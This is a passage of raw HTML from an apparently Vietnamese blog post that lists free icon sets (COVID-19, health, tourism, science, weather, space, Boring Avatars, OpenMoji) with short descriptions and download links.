class="gatsby-resp-image-background-image" style="padding-bottom: 66.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAECAwX/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/aAAwDAQACEAMQAAAB242IBif/xAAXEAADAQAAAAAAAAAAAAAAAAABEBEg/9oACAEBAAEFAjiL/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAFxAAAwEAAAAAAAAAAAAAAAAAABAxQf/aAAgBAQAGPwI1Uq//xAAdEAACAgEFAAAAAAAAAAAAAAAAARExIUFRcYHR/9oACAEBAAE/IZ5y+lQnL8ipa8jTeyRtciryf//aAAwDAQACAAMAAAAQWz//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/ED//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/ED//xAAbEAEAAwEAAwAAAAAAAAAAAAABABEhMUFRgf/aAAgBAQABPxCkYbRQD8RT069xAvLHRsUaQAAeJo41y5QA19s//9k='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="covid-19" title="covid-19" src="/static/08368e10057428459d6d27bed51a523f/5ab81/icon-mien-phi-dan-it-covid19.jpg" srcset="/static/08368e10057428459d6d27bed51a523f/e4e7a/icon-mien-phi-dan-it-covid19.jpg 165w, /static/08368e10057428459d6d27bed51a523f/4f5c6/icon-mien-phi-dan-it-covid19.jpg 330w, /static/08368e10057428459d6d27bed51a523f/5ab81/icon-mien-phi-dan-it-covid19.jpg 660w, /static/08368e10057428459d6d27bed51a523f/7ed05/icon-mien-phi-dan-it-covid19.jpg 990w, /static/08368e10057428459d6d27bed51a523f/9ef87/icon-mien-phi-dan-it-covid19.jpg 1320w, /static/08368e10057428459d6d27bed51a523f/33266/icon-mien-phi-dan-it-covid19.jpg 1440w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Đây là bộ icon miễn phí về những vấn đề liên quan đến dịch bệnh COVID-19 như: ho, ốm, sốt, giãn cách xã hội, làm việc từ xa, tiềm phòng,...</p> <p>Bộ icon này bao gồm các định dạng: AI, EPS, SVG và PNG.</p> <a href="https://graphicsurf.com/item/coronavirus-vector-icon-set/?affiliate=136522" class="btn btn-primary margin-bottom"> Download </a> <h3 id="boring-avatars" style="position:relative;"><a href="#boring-avatars" aria-label="boring avatars permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Boring Avatars</h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 67.87878787878788%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAACoklEQVQoz31RuU8UcRidv8XGzkQbY2mBjY2JxkIxUSM2VJjYGEOhRqLI0ZgIAosJ0UVJRDmEICynnC6XiMsyu1yz19zHzs5vfsczA7W+4suXvPcl731PchxH01TjGJqqWpbpuI5pObqleMq4Oza4kslWaFhQcqVSqVz2bNsyDGN/f19RFIlSRihIEJIwZAANQ84ZhAhDnwUm0y3TK3OACEEI4ZxTBkIibUiZBOaTw3EBX+hucWQKnB+Vvd6MzADuK+XiAoAglfYWFqNF2wi0VQBaYcPWUhLztnbqT3EtZW5uxM+fxZHam12/03GdA85sR6blHIAfLU2Dt68CKHytyXfdALDQU50cfiRxQV1DFoyGjDjyLkIekDI1dgBBHNM3MwLwCrouHwEgTjHQCwBMI2fZmgTGKmZRCM45s3wVEB5lBc+MTIZBYGmIYAtRAsCZyamB4wDgpuQXUonWM5YjG+rmevNpBPnOne2qt/cArPZ9mr1yEUBp7OlBW1W0jNzPdVcDyMev5QfqpJB4spwIiE8rlnM0DBEcOvZQao0C/k5WG5qI3Oa2y5kZAJWDpCsvA3D35r3MhiQEBDgAIYSo8GOT4BAnMyrtmKaIdASoRFIwCC6EFOq7+80XwGRvfmvg2iXfcvLZman2ywB+JwbXH0ZPzk6/nvsYBXk52VE32g5AeV9jj9RLtFzMJ55woppKcepVM3Urpp7anGxigLO8WIo1A9hLJ5I/uwHEf811r04C0Jc6ze0v0omr/0D8m5Kytt40XG/6Ra6lD2I3Qe2SkpwfqhXAwbeJ/tbHAMbHh1de1API9L35864lStTwfOtDTNLcYv/oA9VRYaeV+C1Q191dWftcC+D7WvLuYBeAnqXp+YZn0XFvW7anNWqxsTET6/wLDBzitwKoDnwAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="boring avatars" title="boring avatars" src="/static/5c115a11965783e2b080469dca1cf870/7c811/icon-mien-phi-dan-it-boring-avatars.png" srcset="/static/5c115a11965783e2b080469dca1cf870/103f2/icon-mien-phi-dan-it-boring-avatars.png 165w, /static/5c115a11965783e2b080469dca1cf870/748ba/icon-mien-phi-dan-it-boring-avatars.png 330w, /static/5c115a11965783e2b080469dca1cf870/7c811/icon-mien-phi-dan-it-boring-avatars.png 660w, /static/5c115a11965783e2b080469dca1cf870/d28e0/icon-mien-phi-dan-it-boring-avatars.png 990w, /static/5c115a11965783e2b080469dca1cf870/191e7/icon-mien-phi-dan-it-boring-avatars.png 1313w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Đừng để cái tên đánh lừa bạn. Bộ icon miễn phí này không hề <strong>boring</strong> một chút nào.</p> <p>Boring Avatars là một thư viện mã nguồn mở (code bằng React) để sinh ra avatar dạng SVG, có thể tùy chỉnh dựa trên bộ màu và username.</p> <p>Có 6 style khác nhau và một vài tùy chỉnh khác. Bạn có thể thự nghiệm trực tiếp trên trang chủ.</p> <a href="https://boringavatars.com/" class="btn btn-primary margin-bottom"> Download </a> <h3 id="bộ-icon-về-sức-khỏe" style="position:relative;"><a href="#b%E1%BB%99-icon-v%E1%BB%81-s%E1%BB%A9c-kh%E1%BB%8Fe" aria-label="bộ icon về sức khỏe permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bộ icon về sức khỏe</h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 50.303030303030305%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB7klEQVQozyXSSW/UMAAF4PnpcKngAn+jSMChaitoQXCiZUDdptPOGseJ7dhxYjvLJN4HTZGe3u1J3+FN+rzTxDTQtllQMKg0yDQIGOosVHngeeQo1sWeochwpOR/9pREjMJE5f3Vj1IhyxLTIC+hE6n//VPlC0OBJ8BnGze96jD0JPM59GDrwNatV6YgcdIw8+dKUGhIopvCs9QK5D9+wKv7oaNRFSF5Nte/Wgw93Nr1wswehuvrdjrtSraftDJwaiX3kvmGhxLZlkdBgiTx9MSdnrgKRY73OPXz2YBSn6Uuz3yehRe2CgU2rfCMGFX59XLXVMEP8fLSHb3Xr9/qszPXiz1FYXa/g4mFiVsu9POzPrBZ7f/eNDkyrLCt8LOHJlkPexMvL+zRO/3qjT47t7qL5+fl929VntrV0kDgYOoIDpOEmOldA+AIoVa1u7tRq0Vvd7EV/uuF/XJhRelbGY6P0afPBGz04+MAUweSlzGp/RqOvHarVV+VBoJd3zgEh4qZDHY46zmzONcVczizBXaUhM3abDb2wC6EX4Idr+3trSzpCDa9rEyadBXVs3v1NG85tRCMKNNP812eObC1T/NxPh9pESdcatlqqczQ274xY+d6ZYf20I1wjXBKeFn5moeKx5IGWgRGIy0OJ/kH9WofwQvgYEYAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="health icons" title="health icons" src="/static/42d4fa6e7b1766822028b04ac61ab9cc/7c811/icon-mien-phi-dan-it-health-icons.png" srcset="/static/42d4fa6e7b1766822028b04ac61ab9cc/103f2/icon-mien-phi-dan-it-health-icons.png 165w, /static/42d4fa6e7b1766822028b04ac61ab9cc/748ba/icon-mien-phi-dan-it-health-icons.png 330w, /static/42d4fa6e7b1766822028b04ac61ab9cc/7c811/icon-mien-phi-dan-it-health-icons.png 660w, /static/42d4fa6e7b1766822028b04ac61ab9cc/d28e0/icon-mien-phi-dan-it-health-icons.png 990w, /static/42d4fa6e7b1766822028b04ac61ab9cc/bbbf7/icon-mien-phi-dan-it-health-icons.png 1280w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Đây là bộ icon miễn phí, mã nguồn mở về tất cả mọi thứ liên quan đến vấn đề sức khỏe như: máu, cơ thể con người, thiết bị y tế, cơ quan y tế,...</p> <p>Bộ Health icons này có trên 1166 icon khác nhau, với 3 styles (outlined, filled, nagative) và 2 định dạng (SVG, png).</p> <a href="https://healthicons.org/" class="btn btn-primary margin-bottom"> Download </a> <h3 id="bộ-icon-về-du-lịch" style="position:relative;"><a href="#b%E1%BB%99-icon-v%E1%BB%81-du-l%E1%BB%8Bch" aria-label="bộ icon về du lịch permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bộ icon về du lịch</h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 66.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAEDBf/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/9oADAMBAAIQAxAAAAHtTSBSf//EABgQAAMBAQAAAAAAAAAAAAAAAAABERAh/9oACAEBAAEFAmUXUR5//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAFxAAAwEAAAAAAAAAAAAAAAAAABAxQf/aAAgBAQAGPwKmqlX/xAAcEAEAAwACAwAAAAAAAAAAAAABABEhMVFhcbH/2gAIAQEAAT8hbaCELwh9HiOlN9xF6TS78yqN3zP/2gAMAwEAAgADAAAAEIAf/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPxA//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPxA//8QAGhABAQADAQEAAAAAAAAAAAAAAREAMUEhUf/aAAgBAQABPxCQXPCm+XGVHujJJrDXQmz65rkEIBruLQMEyHp8yQEsNu5//9k='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="tourism icons" title="tourism icons" src="/static/c86d5de497e05519705a60d38d4bd5d1/5ab81/icon-mien-phi-dan-it-dulich.jpg" srcset="/static/c86d5de497e05519705a60d38d4bd5d1/e4e7a/icon-mien-phi-dan-it-dulich.jpg 165w, /static/c86d5de497e05519705a60d38d4bd5d1/4f5c6/icon-mien-phi-dan-it-dulich.jpg 330w, /static/c86d5de497e05519705a60d38d4bd5d1/5ab81/icon-mien-phi-dan-it-dulich.jpg 660w, /static/c86d5de497e05519705a60d38d4bd5d1/19de6/icon-mien-phi-dan-it-dulich.jpg 768w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Đây là bộ icon miễn phí liên quan đến du lịch với các định dạng AI, EPS và PNG.</p> <p>Bạn có thể tải về và thoải mái sử dụng cho các dự án cá nhân hoặc thương mại.</p> <a href="https://graphicsurf.com/item/tourism-vector-free-icon-set/?affiliate=136522" class="btn btn-primary margin-bottom"> Download </a> <h3 id="bộ-icon-về-khoa-học" style="position:relative;"><a href="#b%E1%BB%99-icon-v%E1%BB%81-khoa-h%E1%BB%8Dc" aria-label="bộ icon về khoa học permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bộ icon về khoa học</h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 67.27272727272727%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAACIElEQVQoz21SyU5VQRC9/+IH+AluXLnVlYlfwM74ASYkLNSNY3BhiAYNKwIxCCjKIAohSF4wSCKTb2B47/K4Y3dXV3dVmb736UYrnU7VSZ2qPlUdjbU2RcQxiXXCLCJSXcGKUkpVISyOxFPIRC6dFZGHh6tRRyciki1MpbdvJk+HIet7ES+SNFtn05Nm66Pud70ICVmivZ3DtanP62u7JNLSSSQi3pp06Hp55dL5tct2Zbbu2lv6ujfyfPfOg4uV5Rq5yM3qxGJj7N38qw+JDs0jJmKRfPxJeutqMnTDft+sU33eP5uYPLo3qg72Q0zkRTZ32nMv5+ZnvyEHLRERMQsC5Cdt2+964tqs80VZlDpDT1yBwmKc68RZAWE6RBR5T9ZaQFTOgydtwHuP6IwxSoMCVNogoicy1hpjLABaNACBzPx3uAP7F/mvcXg2hwUoLHbPZ3tFQ3hAJqajXr7/q8QgdgDqbrz9egq68YDMTMKyE39p9J5t90YKm9aFu6pc2D9eeKtbx6ZGUJut0TdLdx8dTc5X1UPnULiTbWyc3V9uvyhR16lxod43m9PrJ52eqhGVZIvDj7szn35OzFTjp4gGv4rbyY9YndYla9GnWbF3EftKV41hluuDpjdQkTnsGREtWKWsQ28MELFzDhGNUg4sgEVEYgaAvFSZNoXSABA0p9pm2mYGM2NTDSH846SmOgqUdSFHQa5triBXwc8U/AbO5tUGgtaYRAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="science life" title="science life" src="/static/b6fa5fd28ce9b5941fbbb755a01edd92/7c811/icon-mien-phi-dan-it-science-life.png" srcset="/static/b6fa5fd28ce9b5941fbbb755a01edd92/103f2/icon-mien-phi-dan-it-science-life.png 165w, /static/b6fa5fd28ce9b5941fbbb755a01edd92/748ba/icon-mien-phi-dan-it-science-life.png 330w, /static/b6fa5fd28ce9b5941fbbb755a01edd92/7c811/icon-mien-phi-dan-it-science-life.png 660w, /static/b6fa5fd28ce9b5941fbbb755a01edd92/d28e0/icon-mien-phi-dan-it-science-life.png 990w, /static/b6fa5fd28ce9b5941fbbb755a01edd92/bb51b/icon-mien-phi-dan-it-science-life.png 1320w, /static/b6fa5fd28ce9b5941fbbb755a01edd92/9ac8b/icon-mien-phi-dan-it-science-life.png 1350w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Đây là bộ icon miễn phí về các chủ đề liên quan đến khoa học: sinh học (vắc-xin, vi-rút, bộ gen), hóa học (các dụng cụ thí nghiệm hóa học), khoa học máy tính,...</p> <p>Bộ bioicons này có trên 1699 icons khác nhau. Và bạn có thể tải xuống dạng SVG.</p> <a href="https://bioicons.com/" class="btn btn-primary margin-bottom"> Download </a> <h3 id="bộ-icon-về-thời-tiết" style="position:relative;"><a href="#b%E1%BB%99-icon-v%E1%BB%81-th%E1%BB%9Di-ti%E1%BA%BFt" aria-label="bộ icon về thời tiết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bộ icon về thời tiết</h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 61.81818181818181%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABjklEQVQoz2VS2Y7bMAz0//9fHwoUaJsmG8u2LuvgpaOQlU0XKJ9EDckZHkurzW7OHDZH6L0LCwDUWvtlhJxzLmW4QiXHXFvrn7bU0rbnbp2dCfmETe0sPGF3uPMMrY4ECKg3g4Qi8kpupanHZp2dETnAuqqY0oT1ao5Dz7eQ6F0rpZi/JG8f+673EM7eezDx+VyJaMJenzGlqVSwWO32Y3+jSy3VKJdcxjS+ihQWbl8a+9/e6OjZPLzZXHBDKiVOFoiplDKY15D8cJm5SvUqIDLRC11abecaiWUODBx6FeiT3D1DjsjXhCjzcXOIo9BElyr18U3FM80JR5313SHhrH2qGM+MhFfPcvx2AICIL9lFivqhAVCu6GTAfHjkobT3fvy0wSZi6r0xiL45wC+rqqXpS8ykCntya2ARuYT4NUQPpQ4II5m7P0P4x1xrM3efMwBA7y07cM8TCORapr656DMgsDAl1n8cECHCJF8K1/X7DoAAubWaHQ7ZhPU6yeOXTQGQsPVWuNqH5yLv8/wLFt+5ZmE2SI0AAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="weather icons" title="weather icons" src="/static/4af2b701bb4b69e96cb3379748aa1873/7c811/icon-mien-phi-dan-it-weather.png" srcset="/static/4af2b701bb4b69e96cb3379748aa1873/103f2/icon-mien-phi-dan-it-weather.png 165w, /static/4af2b701bb4b69e96cb3379748aa1873/748ba/icon-mien-phi-dan-it-weather.png 330w, /static/4af2b701bb4b69e96cb3379748aa1873/7c811/icon-mien-phi-dan-it-weather.png 660w, /static/4af2b701bb4b69e96cb3379748aa1873/d28e0/icon-mien-phi-dan-it-weather.png 990w, /static/4af2b701bb4b69e96cb3379748aa1873/b4bc2/icon-mien-phi-dan-it-weather.png 1310w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Weather Icons là bộ icon miễn phí về thời tiết (mưa, nắng, giông, bão, gió,...).</p> <p>Đây là icon dạng <a href="/tag/css/">CSS</a>. Nghĩa là bạn cần phải tải về một file CSS để đưa vào project. Và sử dụng thì hoàn toàn tương tự như FontAwesome.</p> <a href="https://erikflowers.github.io/weather-icons/" class="btn btn-primary margin-bottom"> Download </a> <h3 id="bộ-icon-về-vũ-trụ" style="position:relative;"><a href="#b%E1%BB%99-icon-v%E1%BB%81-v%C5%A9-tr%E1%BB%A5" aria-label="bộ icon về vũ trụ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bộ icon về vũ trụ</h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 60.60606060606061%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACXklEQVQozxXS246jNgCAYW4rrRoCtjFg8AEMxhhwSALD5ESy08k2Mzvb7laz3UrdVlX7/q9QjfTffze/czddfnl5HUk1kMpG5R2pkBvHkE3rPRcN492Hp68was8/fa7tWejj++sXH+b7wyPlxoGBCEIJUAaReAsw142XS4JxBgALo6rr5zCxppujdIX5IJsZBKpQWx8KByJh2t0P74g2Q8pqFGRtd+e6ibX3SVIRUp/OLxHtx91NN0fVvp+vf8DQdKsDjkpn6bOYtq6fx0mNsPQAJ6leuEkUFQBwHBam2eG4q9szz8dcTeP9E4pMoQYY5E6c6HZ1gpFJeQdxJrJuM5w8wO7vH/LcLtykVJuln9l+lmoktG3t3gM8TjTCuRPgIpNbGJow6SAu47Qu1WbhpbUZ4rhY+kzIzbsFPRyvpp1gkDFu3GWSiQaH0iGkHqcrxNrYmWXrhDbb4ewBrqp1mqilz/Ji66FSm4mkFY4KXQ8/uglJVUq1k9L24fELCmu7Ogm5YWI1n58BzJrujjKdpLVdnxd+eTg+ZdKK3A7TxfNZUawgEk4QKiEHFHVCjoT1Ee1LPbkeo9ygQMAgl+UIwzrlPcIqjHVe9EuP5rKLIulQbg+n54DYcXdr+gvXx8fbqwezcbokVDPefv7tOwrrfvvAsr6x+4+fXl2P/nz7ta63DkCS8jUMG90eRTlhthXVwX9DlAc4QDkTGxjoMK4hVgArhJXrUfp2hHDiWO/2N0zs86c/2/4izfn68rcXVL9/+0ebUeT969d/cbq6ffzWrGYiNtPuA0Dy+1//jeP8P0hTcQPrTwdkAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="space" title="space" src="/static/3c826ddffea8fda585075e51bf8656bb/7c811/icon-mien-phi-dan-it-space.png" srcset="/static/3c826ddffea8fda585075e51bf8656bb/103f2/icon-mien-phi-dan-it-space.png 165w, /static/3c826ddffea8fda585075e51bf8656bb/748ba/icon-mien-phi-dan-it-space.png 330w, /static/3c826ddffea8fda585075e51bf8656bb/7c811/icon-mien-phi-dan-it-space.png 660w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Đây là bộ icon miễn phí dạng vẽ tay về vũ trụ, không gian như: các sao trong dải ngân hà, tàu vũ trụ, phi hành gia,...</p> <p>Có 77 icon khác nhau với các định dạng AI, EPS, PNG và SVG cho bạn thoải mái sử dụng.</p> <a href="https://goodstuffnononsense.com/hand-drawn-icons/space-icons/" class="btn btn-primary margin-bottom"> Download </a> <h3 id="openmoji" style="position:relative;"><a href="#openmoji" aria-label="openmoji permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>OpenMoji</h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 67.87878787878788%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAACzElEQVQoz01SS08TURidH2F0KXGFWxPDyqUbIhsWEhJ3xkSXEjHGSDApCQEUDBGxCsbYklAeLUxLC7SURwttp2UGQQggfUF4WNppp52Z+5wZU8aAX87q3HNyc77zMZJUlqSSVCpVyrKiAhOyolZkpSIrsqJeksoVqZgMs5vOru/sxbZ2+O1dAJGpLlfkgiie5wtisXRprshKoSAWxKJYLJoyBiCcy4vnYlGpOqsiFUBd13XDMIEwMc0qgJRqEGGi6bL5czJzaHGttdoX09kjU1eSyqFQeCUUWotElpaXU+kMRFhRAcLE6/P1vOuJRGOEarKiMvPRjU8p4+lMZnHjt6FTgHA6m/1itdptP6zWz8NDXwOBBYQJJnTe7+/u6fbNzlkslp+bm5hqzLeJmZbR1eZB/3dvWCMIIpLJHgaDC+NjDrvdNjfrSyQSEJFiSWpra4tEooZh2EdGPg4MEKoxoQhn6e5929kz5ZvHmCBMUumMz+v1uFnvjMc/PxsOr4JqUBoMLnZ1dbGs29LR8Wt7GxPKSOWyc3IyFo2KoggQVlVYksq8IKzzPC8IMY7LHh4BiBQVYEL9gUBfX986z//LXJbl45PTy5VWu4bI+G/ohc58JVQz819VBRH+kztXAbww4pPTM/+ic3l1eik87V+a2NrZwpiaVZmQFRUirALI5HO5eGKd4+KCICgAUGp4A7ZX72+87r31srOmsfXai/7HGjH29vdHq+Nwulwej8f2w3Z8fMoEx4a9Mx43y05MjMuKQjUjLgStbK1XuDsUuNM8dPvJ4P18TuIS8fr6+rq6uqamh+3t7Q0ND5KpFCNJEsfFXS4nzwsAQkKNnf34mw83e+21jc9r7j273tL/CAJ6kExOTU2zbrfT5WJZdtThODk9YwBECFdrRLh6RgCi83yeS4Q4PhyOra5Elg+SKYQJgIhqOtV0TdcJrR4vgOgvW4e6oA7ULEsAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="openmoji" 